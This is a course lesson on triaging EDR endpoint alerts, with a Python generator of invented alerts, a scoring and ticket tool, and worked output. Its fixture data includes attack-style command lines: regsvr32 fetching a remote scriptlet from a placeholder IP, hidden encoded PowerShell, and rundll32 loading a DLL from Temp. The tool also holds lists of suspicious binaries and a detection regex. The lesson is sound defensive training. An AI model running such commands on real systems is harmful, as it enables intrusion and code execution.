Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Lesson 06 · 50 minutes

Triage an endpoint alert and decide what to ask for

After this lesson you can
  • Read the process tree of an endpoint alert and tell a normal parent and child from a suspicious pair
  • Score an alert from fixed signals and enrich it from the asset, staff and change files
  • Decide true or false positive, ask for containment and write the ticket
Lab files of this lesson (18)

The lab folder as it stands after this lesson. Unzip it in ~/krlab.

More

The zip holds every file that the course has printed up to here. To start this lesson with the files of the earlier lessons only, take the zip of the lesson before. Type the code yourself first: you learn more.

Scenario

Fernwood Press has installed EDR (endpoint detection and response) software on its desktops and servers. It watches the programs that run on each machine and raises an alert when something looks wrong. During Tuesday 24 November it raised seven alerts. The team lead says: "Triage them as you did in lesson 4, but the evidence is now a process tree, not a log line. For each alert, true or false, and what you ask for. Then write me the ticket for the worst one." The data is a fixed set of invented alerts.

Recall

Lesson 4: what are the four triage questions?

Who or what is it? Is it expected? Did it work? What do we do first? The context files answer the first two, and the logs answer the third.

Lesson 5: which two fields of event 4688 give you a parent and its child?

ParentProcessName and NewProcessName. The EDR alert of this lesson gives the whole chain, not one pair.

The idea

An endpoint is a laptop, desktop or server. An EDR alert carries the facts that you triage with: the host, the user, the process tree (which program started which, with the command line of each), the sha256 hash of the file (a hash is a fingerprint, lesson 12), the verdict of the EDR (malicious or suspicious), the action that the EDR took (blocked, quarantined or detected only) and the severity of its rule. The verdict is the opinion of a vendor. The tree is the fact.

From an endpoint alert to a ticket
AlertProcess treeContext filesDecisionTicketwho started whomassets and staffscore and verdictfour short partsAlertProcess treeContext filesDecisionTicket1234
  1. Alert → Process tree: who started whom
  2. Process tree → Context files: assets and staff
  3. Context files → Decision: score and verdict
  4. Decision → Ticket: four short parts

A program normally has a usual parent. When the pair is odd, look closer. These are the pairs that this lesson scores, each with the ATT&CK technique that names it (checked on attack.mitre.org on 2026-11-21):

Pair or commandWhy it is odd, and when it is notATT&CK technique
WINWORD.EXE or EXCEL.EXE starts cmd.exe, powershell.exe or another shellAn Office program has little reason to start a shell. A macro in a document that the user opened does.User Execution: Malicious File (T1204.002)
sqlservr.exe or w3wp.exe starts cmd.exeA server program starts a shell. This is rare, but some jobs do it, so ask the owner.Windows Command Shell (T1059.003)
powershell.exe ... -EncodedCommandThe option takes Base64 text of UTF-16LE (Microsoft says it is for commands with complex quoting). Admin tools use it too, and so do attackers.PowerShell (T1059.001)
regsvr32.exe ... /i:http://... scrobj.dllRegsvr32 loads a script from the network.System Binary Proxy Execution: Regsvr32 (T1218.010)
rundll32.exe with a DLL in AppData, Temp or DownloadsRundll32 runs a DLL. A DLL in a folder that the user can write is not a program of the system.System Binary Proxy Execution: Rundll32 (T1218.011)

In this lab "shell" also covers the script hosts wscript, cscript and mshta and the proxy programs rundll32 and regsvr32. Regsvr32 and rundll32 are real Windows programs. ATT&CK calls the technique proxy execution: the program is trusted, so a detection looks at its command line, not its name. ATT&CK moves identifiers between versions (the clear-logs technique of lesson 5 moved from T1070.001 to T1685.005), so check the page when you cite one.

The tool of this lesson adds points for each signal. It also takes points away when an approved change covers the alert.

SignalPoints
Office program starts a shell+3
Server program starts a shell+4
Encoded PowerShell command+2
Regsvr32 loads a script from http+4
Rundll32 loads a DLL from a user folder+2
The program itself runs from a user folder+2
The hash is in the list of known bad hashes+4
The EDR says malicious (+2) or suspicious (+1)+2 or +1
An approved change covers this host and time-4

A score of 5 or more is a true positive, 3 or 4 needs review, and 2 or less is a false positive. The numbers are a policy of this course: your team sets its own and tunes them.

Three requests that an analyst can make, and a person with the right carries them out:

RequestWhat it does
Isolate the hostThe EDR cuts the machine off the network and keeps it switched on, so memory and disk stay for the investigation. The user cannot work.
Disable the accountThe user's credentials stop working. Use it when the account may be in the hands of someone else.
Collect a triage packageThe EDR or a script gathers read-only facts from the host (the running processes, network connections, recent files and logs) before anything changes.

Worked example

1. Make the alerts

gen_edr.py writes a set of invented alerts into data/edr, and the files that give them context: a list of known bad hashes and a list of approved changes. The hashes are made up from invented names. It also needs assets.csv and staff.csv, which you made in lesson 4. You do not need to read the generator.

The finished file: gen_edr.py

gen_edr.py

"""gen_edr.py: write a set of invented endpoint alerts, and the files that give them context.

    python3 gen_edr.py [set] [folder]      set 1 (default) or 2: Fernwood Press; set 3: Ironwood Freight
                                           (the scenario test); folder default: data/edr
It writes edr_alerts.json, known_hashes.csv and endpoint_changes.csv. Every name, address and hash is invented.
"""
import base64
import hashlib
import json
import random
import sys
from datetime import datetime, timedelta, timezone
from pathlib import Path

which = int(sys.argv[1]) if len(sys.argv) > 1 else 1
out = Path(sys.argv[2] if len(sys.argv) > 2 else "data/edr")
r = random.Random({1: 31, 2: 32, 3: 33}[which])  # only random() is used: the same numbers on every Python version
DAY = datetime(*{1: (2026, 11, 24), 2: (2026, 12, 1), 3: (2026, 12, 3)}[which], tzinfo=timezone.utc)

SYS, OFFICE = "C:\\Windows\\System32\\", "C:\\Program Files\\Microsoft Office\\root\\Office16\\"


def node(path, cmd=None):
    return {"image": path, "cmd": cmd or path.rsplit("\\", 1)[-1]}


EXPLORER, SERVICES = node("C:\\Windows\\explorer.exe"), node(SYS + "services.exe")


def enc(text):
    """A PowerShell -EncodedCommand string: Base64 of the text in UTF-16LE. The texts here are harmless."""
    return base64.b64encode(text.encode("utf-16-le")).decode()



def ps(flags, text):
    return node(SYS + "WindowsPowerShell\\v1.0\\powershell.exe", f"powershell.exe {flags} -EncodedCommand {enc(text)}")


def via_cmd(child):
    """The same command, started through cmd.exe /c."""
    return [node(SYS + "cmd.exe", "cmd.exe /c " + child["cmd"]), child]


def regsvr(url):
    return via_cmd(node(SYS + "regsvr32.exe", f"regsvr32.exe /s /n /u /i:{url} scrobj.dll"))


def office(app, doc, user):
    return node(OFFICE + app, f'{app} "C:\\Users\\{user}\\Downloads\\{doc}"')


def rundll(user, name):
    return [node(SYS + "rundll32.exe", f"rundll32.exe C:\\Users\\{user}\\AppData\\Local\\Temp\\{name},Run")]


def alert(host, user, hhmm, severity, verdict, action, rule, tree, bad=False, root=EXPLORER):
    n = len(alerts) + 1
    sha = hashlib.sha256(f"kalirange-sample-{which}-{n}".encode()).hexdigest()  # a made-up hash of a made-up name
    if bad:
        known.append((sha, "reported by a public feed (invented)"))
    h, m = map(int, hhmm.split(":"))
    t = DAY + timedelta(hours=h, minutes=m, seconds=int(r.random() * 60))
    alerts.append({"id": f"{'EFG'[which - 1]}{n:02d}", "time": f"{t:%Y-%m-%dT%H:%M:%SZ}", "host": host, "user": user,
                   "severity": severity, "edr_verdict": verdict, "action": action, "rule": rule, "sha256": sha,
                   "tree": [root] + tree})


alerts, known, changes = [], [], []
if which == 1:
    alert("ws-carol", "carol", "09:14", "high", "malicious", "detected only", "Office application started a command shell",
          [office("WINWORD.EXE", "invoice-1187.docm", "carol")] + via_cmd(ps("-NoProfile -WindowStyle Hidden", "Write-Output 'kalirange sample'")))
    alert("ws-bob", "bob", "09:20", "medium", "suspicious", "detected only", "Encoded PowerShell command",
          [node("C:\\Program Files\\FernDeploy\\agent.exe"), ps("-NoProfile", "Get-ComputerInfo | Select-Object CsName")], root=SERVICES)
    alert("ws-pdiaz", "pdiaz", "10:31", "high", "suspicious", "blocked", "Regsvr32 loaded a script from the network",
          regsvr("http://198.51.100.9/update.sct"))
    alert("ci01", "deploy", "11:05", "low", "suspicious", "detected only", "PowerShell ran with the policy bypassed",
          [node("C:\\Program Files\\FernCI\\ci-agent.exe"), node(SYS + "WindowsPowerShell\\v1.0\\powershell.exe",
           "powershell.exe -ExecutionPolicy Bypass -File C:\\build\\release.ps1")], root=SERVICES)
    alert("ws-alice", "alice", "12:40", "high", "malicious", "quarantined", "Known bad file loaded by rundll32",
          rundll("alice", "x7f3a.dll"), bad=True)
    alert("ws-mwebb", "mwebb", "13:12", "low", "suspicious", "blocked", "Unwanted program started from Downloads",
          [node("C:\\Users\\mwebb\\Downloads\\toolbar-setup.exe", "toolbar-setup.exe /silent")])
    alert("db01", "svc-sql", "14:55", "high", "suspicious", "detected only", "Database service started a command shell",
          [node("C:\\Program Files\\Microsoft SQL Server\\MSSQL16\\Binn\\sqlservr.exe", "sqlservr.exe"),
           node(SYS + "cmd.exe", "cmd.exe /c whoami /all")], root=SERVICES)
    changes.append(("192.0.2.102", "software inventory by the IT deploy agent", "2026-11-24T09:00:00Z", "2026-11-24T10:00:00Z", "CHG-1051"))
elif which == 2:
    alert("ws-bob", "bob", "08:08", "high", "malicious", "detected only", "Office application started PowerShell",
          [office("EXCEL.EXE", "budget-q4.xlsm", "bob"), ps("-nop -w hidden", "Get-Date")])
    alert("ws-alice", "alice", "09:18", "high", "suspicious", "detected only", "Regsvr32 loaded a script from the network",
          regsvr("http://203.0.113.80/a.sct"))
    alert("ci01", "deploy", "11:25", "medium", "suspicious", "detected only", "Encoded PowerShell command",
          [node("C:\\Program Files\\FernCI\\ci-agent.exe"), ps("-NoProfile", "Get-Item C:\\build")], root=SERVICES)
    alert("app01", "iis-app", "12:33", "high", "malicious", "detected only", "Web server worker started a command shell",
          [node("C:\\Windows\\System32\\inetsrv\\w3wp.exe", "w3wp.exe -ap shop"), node(SYS + "cmd.exe", "cmd.exe /c whoami")], root=SERVICES)
    alert("ws-carol", "carol", "13:03", "medium", "suspicious", "detected only", "Rundll32 loaded a file from Temp",
          rundll("carol", "k2.dll"))
    alert("ws-mwebb", "mwebb", "14:47", "low", "suspicious", "blocked", "Unwanted program started from Downloads",
          [node("C:\\Users\\mwebb\\Downloads\\pdf-helper.exe", "pdf-helper.exe")])
    alert("ws-pdiaz", "pdiaz", "15:21", "low", "suspicious", "detected only", "PowerShell ran a script from the user's folder",
          [node(SYS + "WindowsPowerShell\\v1.0\\powershell.exe", "powershell.exe -NoProfile -File C:\\Users\\pdiaz\\scripts\\report.ps1")])
    changes.append(("192.0.2.8", "update of the build tools by the CI agent", "2026-12-01T11:00:00Z", "2026-12-01T12:00:00Z", "CHG-1053"))
else:  # Ironwood Freight, the night of the scenario test
    alert("files01", "kfoster", "07:11", "medium", "suspicious", "detected only", "Encoded PowerShell command",
          via_cmd(ps("-nop -w hidden", "Get-ChildItem D:\\Shares -Recurse | Measure-Object Length -Sum")))
    alert("files01", "kfoster", "07:12", "high", "malicious", "detected only", "Known bad file started by a command shell",
          via_cmd(node("C:\\ProgramData\\fsync\\sync.exe", "sync.exe -install")), bad=True)
    alert("ci01", "deploy", "12:05", "medium", "suspicious", "detected only", "Encoded PowerShell command",
          [node("C:\\Program Files\\IronCI\\ci-agent.exe"), ps("-NoProfile", "Get-Item C:\\build")], root=SERVICES)
    changes.append(("192.0.2.8", "update of the build tools by the CI agent", "2026-12-03T12:00:00Z", "2026-12-03T13:00:00Z", "CHG-2214"))

out.mkdir(parents=True, exist_ok=True)
(out / "edr_alerts.json").write_text(json.dumps(alerts, indent=1) + "\n")
(out / "known_hashes.csv").write_text("sha256,note\n" + "".join(f"{h},{n}\n" for h, n in known))
(out / "endpoint_changes.csv").write_text("ip,what,start,end,ticket\n" + "".join(",".join(c) + "\n" for c in changes))
for name in ("edr_alerts.json", "known_hashes.csv", "endpoint_changes.csv"):
    print(f"{name:21s} sha256 {hashlib.sha256((out / name).read_bytes()).hexdigest()[:12]}")
print(len(alerts), "alerts")
python3 gen_edr.py
edr_alerts.json       sha256 d0c03fdc5ae8
known_hashes.csv      sha256 2d37098233fc
endpoint_changes.csv  sha256 3ab9d116be60
7 alerts

2. Read the process tree of one alert

Alert E01 is the first. The program prints its fields and then the tree, one level deeper for each child.

python3 - <<'PYEND'
import json

a = json.load(open("data/edr/edr_alerts.json"))[0]
print(a["id"], a["time"], a["host"], a["user"], a["severity"], a["edr_verdict"], a["action"])
print(a["rule"], a["sha256"][:16])
for depth, n in enumerate(a["tree"]):
    print("  " * depth + n["cmd"][:78])
PYEND
E01 2026-11-24T09:14:00Z ws-carol carol high malicious detected only
Office application started a command shell 44d3aa039801f117
explorer.exe
  WINWORD.EXE "C:\Users\carol\Downloads\invoice-1187.docm"
    cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand VwByA
      powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand VwByAGkAdABlAC0A

Read it from the top. Carol opened invoice-1187.docm (a Word file that can hold macros) from her Downloads folder. The action is detected only: the EDR did not stop it.

The process tree of alert E01
explorer.exeWINWORD.EXEcmd.exepowershell.exeopens the invoicestarts a shellhidden, encodedexplorer.exeWINWORD.EXEcmd.exepowershell.exe123
  1. explorer.exe → WINWORD.EXE: opens the invoice
  2. WINWORD.EXE → cmd.exe: starts a shell
  3. cmd.exe → powershell.exe: hidden, encoded

3. Decode the command

Base64 is a way to write bytes as plain letters. base64.b64decode turns the letters back into bytes, and .decode("utf-16-le") reads them as the text that PowerShell expects. Decoding is safe: you read text and run nothing. The command line of E01 has four parts that matter:

The command line of PowerShell in E01
powershell.exethe program-NoProfileskip the profile scripts-WindowStyle Hiddenno visible window-EncodedCommandBase64 of UTF-16LE followsVwByAGkAdABlAC0A...the command, encodedpowershell.exethe program-NoProfileskip the profile scripts-WindowStyle Hiddenno visible window-EncodedCommandBase64 of UTF-16LE followsVwByAGkAdABlAC0A...the command, encoded
python3 - <<'PYEND'
import base64
import json

cmd = json.load(open("data/edr/edr_alerts.json"))[0]["tree"][-1]["cmd"]
print(base64.b64decode(cmd.split()[-1]).decode("utf-16-le"))
PYEND
Write-Output 'kalirange sample'

The text is harmless in this lesson. In real work the decoded text is the first thing to put in the ticket, because it shows what the attacker wanted.

4. Score every alert

endpoint_triage.py holds the table of points and a function signals that names the signals of an alert. Each signal is a fact in the data, found with the checks of the table above. This is the check for the first row, which walks along the tree and looks at each parent and its child:

    for parent, child in zip(tree, tree[1:]):
        if name(parent) in OFFICE and name(child) in SHELLS:
            found.append("office_spawns_shell")

The approved change is found as in lesson 4, by address and time. The alert has a host name, so the tool takes the address from assets.csv. The criticality of the host (1 to 5, how much the machine matters) comes from the same file, and a host that is not in it counts as 5, because an unknown machine is not a safe one. The whole program is in step 7. Save endpoint_triage.py from step 7 in this folder now. Then run it.

python3 endpoint_triage.py
P1 E01 ws-carol carol score 7 true positive
   tree: explorer.exe > winword.exe > cmd.exe > powershell.exe
   signals: office_spawns_shell(+3) encoded_command(+2) edr_malicious(+2)
   T1204.002 User Execution: Malicious File
   T1059.001 Command and Scripting Interpreter: PowerShell
   decoded: Write-Output 'kalirange sample'
   ask: isolate host ws-carol; collect the triage package; disable account carol
P1 E07 db01 svc-sql score 5 true positive
   tree: services.exe > sqlservr.exe > cmd.exe
   signals: server_spawns_shell(+4) edr_suspicious(+1)
   T1059.003 Command and Scripting Interpreter: Windows Command Shell
   ask: ask the owner of db01 before any isolation (criticality 5); collect the triage package; ask who owns account svc-sql
P2 E03 ws-pdiaz pdiaz score 5 true positive
   tree: explorer.exe > cmd.exe > regsvr32.exe
   signals: remote_script(+4) edr_suspicious(+1)
   T1218.010 System Binary Proxy Execution: Regsvr32
   ask: collect the triage package; ask pdiaz what they ran
P2 E05 ws-alice alice score 8 true positive
   tree: explorer.exe > rundll32.exe
   signals: dll_from_user_folder(+2) known_bad_hash(+4) edr_malicious(+2)
   T1218.011 System Binary Proxy Execution: Rundll32
   ask: collect the triage package; ask alice what they ran
P3 E06 ws-mwebb mwebb score 3 needs review
   tree: explorer.exe > toolbar-setup.exe
   signals: runs_from_user_folder(+2) edr_suspicious(+1)
   T1204.002 User Execution: Malicious File
   ask: collect the triage package; ask mwebb what they ran
P4 E02 ws-bob bob score -1 false positive
   tree: services.exe > agent.exe > powershell.exe
   signals: encoded_command(+2) edr_suspicious(+1) approved_change(-4)
   T1059.001 Command and Scripting Interpreter: PowerShell
   decoded: Get-ComputerInfo | Select-Object CsName
   ask: close and note the ticket
P4 E04 ci01 deploy score 1 false positive
   tree: services.exe > ci-agent.exe > powershell.exe
   signals: edr_suspicious(+1)
   ask: close and note the ticket
4 true positive, 1 needs review, 2 false positive

5. Check the decisions

Four alerts need a look at the reasons. E02 has encoded PowerShell like E01, but the parent is the deploy agent, and change CHG-1051 covers ws-bob in that hour: the score falls to -1. E04 runs PowerShell with the policy bypassed. The tool has no signal for that flag, so it scores only the EDR verdict (1). You read the parent (the build agent) yourself and agree. E07 is a true positive on the most valuable machine, so the tool does not ask to isolate it: it asks the owner. E03 and E05 are true positives that the EDR already stopped (blocked, quarantined), so they are P2, and the request is to check what ran before the stop.

The priority of the tool: P1 is a true positive that the EDR did not stop, P2 is a true positive that it stopped, or a review on a host of criticality 4 or 5, P3 is any other review, and P4 a false positive.

6. Write the ticket

A ticket is read by someone who was not there. The tool prints the text from the facts of the alert, with the id as the second argument.

python3 endpoint_triage.py data/edr E01
Title: true positive, Office application started a command shell, on ws-carol (E01)
Seen: at 2026-11-24T09:14:00Z the user carol ran explorer.exe > winword.exe > cmd.exe > powershell.exe.
Command: powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1
Evidence: signals office_spawns_shell, encoded_command, edr_malicious; score 7
Decision: true positive, priority P1.
Asked: isolate host ws-carol; collect the triage package; disable account carol.
Not known yet: the EDR only detected: we do not yet know what the process did after it started.

The last line is the one that people skip. A ticket separates what you saw from what you do not know (lesson 13 does the same for the incident report). Add the decoded text and the person who approved the request, by hand.

7. The finished file

The finished file: endpoint_triage.py

endpoint_triage.py

"""endpoint_triage.py: score endpoint alerts, decide what each one is, and say why.

    python3 endpoint_triage.py [folder] [alert id]      folder with edr_alerts.json, known_hashes.csv and
                                                        endpoint_changes.csv (default data/edr); an id prints a ticket
assets.csv and staff.csv (lesson 4) are read from the current folder.
"""
import base64
import json
import re
import sys

from triage import read_csv

POINTS = {"office_spawns_shell": 3, "server_spawns_shell": 4, "encoded_command": 2, "remote_script": 4,
          "dll_from_user_folder": 2, "runs_from_user_folder": 2, "known_bad_hash": 4, "edr_malicious": 2,
          "edr_suspicious": 1, "approved_change": -4}
TECHNIQUE = {"office_spawns_shell": "T1204.002 User Execution: Malicious File",
             "server_spawns_shell": "T1059.003 Command and Scripting Interpreter: Windows Command Shell",
             "encoded_command": "T1059.001 Command and Scripting Interpreter: PowerShell",
             "remote_script": "T1218.010 System Binary Proxy Execution: Regsvr32",
             "dll_from_user_folder": "T1218.011 System Binary Proxy Execution: Rundll32",
             "runs_from_user_folder": "T1204.002 User Execution: Malicious File"}
OFFICE = {"winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"}
SERVERS = {"sqlservr.exe", "w3wp.exe"}
SHELLS = {"cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe"}
USER_FOLDERS = ("\\appdata\\", "\\temp\\", "\\downloads\\", "\\users\\public\\")
ENCODED = re.compile(r"-e(?:c|nc\w*)\s+([A-Za-z0-9+/=]{20,})", re.I)


def name(n):
    """The file name of a process in the tree, in lower case."""
    return n["image"].rsplit("\\", 1)[-1].lower()


def decode(cmd):
    """The text behind a -EncodedCommand string, or None."""
    m = ENCODED.search(cmd)
    try:
        return base64.b64decode(m[1]).decode("utf-16-le") if m else None
    except ValueError:
        return None


def signals(a, ctx):
    """The names of the signals that this alert shows. Each one is a fact that the data proves."""
    tree, found = a["tree"], []
    for parent, child in zip(tree, tree[1:]):
        if name(parent) in OFFICE and name(child) in SHELLS:
            found.append("office_spawns_shell")
        if name(parent) in SERVERS and name(child) in ("cmd.exe", "powershell.exe"):
            found.append("server_spawns_shell")
    for n in tree:
        cmd = n["cmd"].lower()
        if name(n) == "powershell.exe" and decode(n["cmd"]):
            found.append("encoded_command")
        if name(n) == "regsvr32.exe" and "/i:http" in cmd:
            found.append("remote_script")
        if name(n) == "rundll32.exe" and any(f in cmd for f in USER_FOLDERS):
            found.append("dll_from_user_folder")
    if any(f in tree[-1]["image"].lower() for f in USER_FOLDERS):
        found.append("runs_from_user_folder")
    if a["sha256"] in ctx["hashes"]:
        found.append("known_bad_hash")
    if a["edr_verdict"] in ("malicious", "suspicious"):
        found.append("edr_" + a["edr_verdict"])
    if change(a, ctx):
        found.append("approved_change")
    return found


def change(a, ctx):
    """The approved change that covers this host at this time, or None (the method of lesson 4)."""
    ip = next((ip for ip, r in ctx["assets"].items() if r["host"] == a["host"]), None)
    return next((c for c in ctx["changes"] if c["ip"] == ip and c["start"] <= a["time"] <= c["end"]), None)


def decide(score):
    return "true positive" if score >= 5 else "needs review" if score >= 3 else "false positive"


def criticality(a, ctx):
    """How much the host matters, 1 to 5. A host that is not in the asset file counts as 5: unknown is not safe."""
    row = next((r for r in ctx["assets"].values() if r["host"] == a["host"]), None)
    return int(row["criticality"]) if row else 5


def asks(a, decision, crit, ctx):
    """What the analyst asks for. The tool never acts: a person with the right does."""
    if decision == "false positive":
        return ["close and note the ticket"]
    todo = ["collect the triage package"]
    if decision == "needs review" or a["action"] != "detected only":  # the EDR already stopped it: look first
        return todo + [f"ask {a['user']} what they ran"]
    todo.insert(0, f"isolate host {a['host']}" if crit < 4 else f"ask the owner of {a['host']} before any isolation (criticality {crit})")
    return todo + [f"disable account {a['user']}" if a["user"] in ctx["staff"] else f"ask who owns account {a['user']}"]


def triage(alerts, ctx):
    """One record for each alert, the most urgent first: the score, the decision, the reasons and the requests."""
    records = []
    for a in alerts:
        found = signals(a, ctx)
        score, crit = sum(POINTS[s] for s in found), criticality(a, ctx)
        decision = decide(score)
        stopped = a["action"] != "detected only"
        priority = {"true positive": 2 if stopped else 1, "needs review": 2 if crit >= 4 else 3, "false positive": 4}[decision]
        records.append({"alert": a, "signals": found, "score": score, "decision": decision, "priority": priority,
                        "asks": asks(a, decision, crit, ctx)})
    return sorted(records, key=lambda x: (x["priority"], x["alert"]["time"]))


def load(folder, context="."):
    return (json.load(open(f"{folder}/edr_alerts.json")),
            {"assets": {r["ip"]: r for r in read_csv(f"{context}/assets.csv")},
             "staff": {r["user"]: r for r in read_csv(f"{context}/staff.csv")},
             "hashes": {r["sha256"] for r in read_csv(f"{folder}/known_hashes.csv")},
             "changes": read_csv(f"{folder}/endpoint_changes.csv")})


def explain(x, ctx):
    a = x["alert"]
    lines = [f"P{x['priority']} {a['id']} {a['host']} {a['user']} score {x['score']} {x['decision']}",
             "   tree: " + " > ".join(name(n) for n in a["tree"]),
             "   signals: " + " ".join(f"{s}({POINTS[s]:+d})" for s in x["signals"])]
    lines += [f"   {TECHNIQUE[s]}" for s in dict.fromkeys(x["signals"]) if s in TECHNIQUE]
    text = next((decode(n["cmd"]) for n in a["tree"] if decode(n["cmd"])), None)
    if text:
        lines.append(f"   decoded: {text}")
    return lines + ["   ask: " + "; ".join(x["asks"])]


def ticket(x, ctx):
    """The ticket text: what we saw, what we decided and why, what we ask, and what we do not know yet."""
    a, c = x["alert"], change(x["alert"], ctx)
    unknown = ("the EDR only detected: we do not yet know what the process did after it started"
               if a["action"] == "detected only" else f"the EDR {a['action']} it: we do not know if anything ran before")
    return "\n".join([f"Title: {x['decision']}, {a['rule']}, on {a['host']} ({a['id']})",
                      f"Seen: at {a['time']} the user {a['user']} ran {' > '.join(name(n) for n in a['tree'])}.",
                      f"Command: {a['tree'][-1]['cmd'][:90]}",
                      f"Evidence: signals {', '.join(x['signals'])}; score {x['score']}" + (f"; change {c['ticket']}" if c else ""),
                      f"Decision: {x['decision']}, priority P{x['priority']}.",
                      "Asked: " + "; ".join(x["asks"]) + ".",
                      f"Not known yet: {unknown}."])


if __name__ == "__main__":
    alerts, ctx = load(sys.argv[1] if len(sys.argv) > 1 else "data/edr")
    records = triage(alerts, ctx)
    if len(sys.argv) > 2:
        print(ticket(next(x for x in records if x["alert"]["id"] == sys.argv[2]), ctx))
    else:
        for x in records:
            print("\n".join(explain(x, ctx)))
        print(", ".join(f"{n} {d}" for d in ("true positive", "needs review", "false positive")
                        if (n := sum(x["decision"] == d for x in records))))

Your turn

A second set arrives: python3 gen_edr.py 2 day2edr writes the alerts, the hash list and the changes for 1 December into the folder day2edr. Run endpoint_triage.py on that folder (the program takes the folder as its first argument). Read the decisions as in step 5: which alert is covered by a change, which one needs the owner, and what hides in the encoded command of the first alert.

Check yourself

Encoded PowerShell is on a list of bad signs. Why does E02 still get a false positive?

The option is there for commands with complex quoting, and admin tools use it. The tool only subtracts the approved change (CHG-1051). The analyst reads the parent (a deploy agent), the host and time, and the decoded text, which only reads the computer name, and agrees. One sign alone does not make a true positive.

Why does the tool ask the owner of db01 and not isolate it?

An isolated database stops every system that uses it. The host has criticality 5, so the person who owns it decides, with the analyst's evidence in front of them. A less important machine can be isolated at once.

E05 was quarantined by the EDR. Why is it still a true positive, and why only P2?

The file is on the known bad list and the signals are strong, so the alert is real. The EDR stopped it, so the urgent question changes: did anything run before the stop? The triage package answers that.

Field notes

  • The verdict of an EDR is a vendor's opinion. Score the facts (the tree, the command line, the hash), and use the verdict as one signal among others. Learn what detected only means in your EDR: it often means that the policy is in report mode, and the alert is the only protection you have. On Windows, the free Sysmon tool of Microsoft is a common source of the same evidence: its event 1 records a process start with the command line and the hash.
  • A hash names one exact file. A new build of the same malware has a new hash, so a hash that is not on a list says nothing (lesson 4). Do not upload company files to a public scanning service: look up the hash only.
  • Isolation, a password reset and a disabled account cost a person work. Ask for them only with a reason in the ticket, and name who can undo them. Keep the EDR channel open, so that the team can still reach an isolated host.
  • ATT&CK names are labels for talking and for reporting, not proof. Map a signal to a technique after you have decided what it is, and take the identifier from the current page.
  • PowerShell accepts short forms of the option, such as -e. The pattern of this lab reads only -ec and -enc.... Test your pattern on every form that you know.
  • Every score here is a policy. Keep a list of the alerts that the tool got wrong, and change the points and the signals from the list, not from a feeling.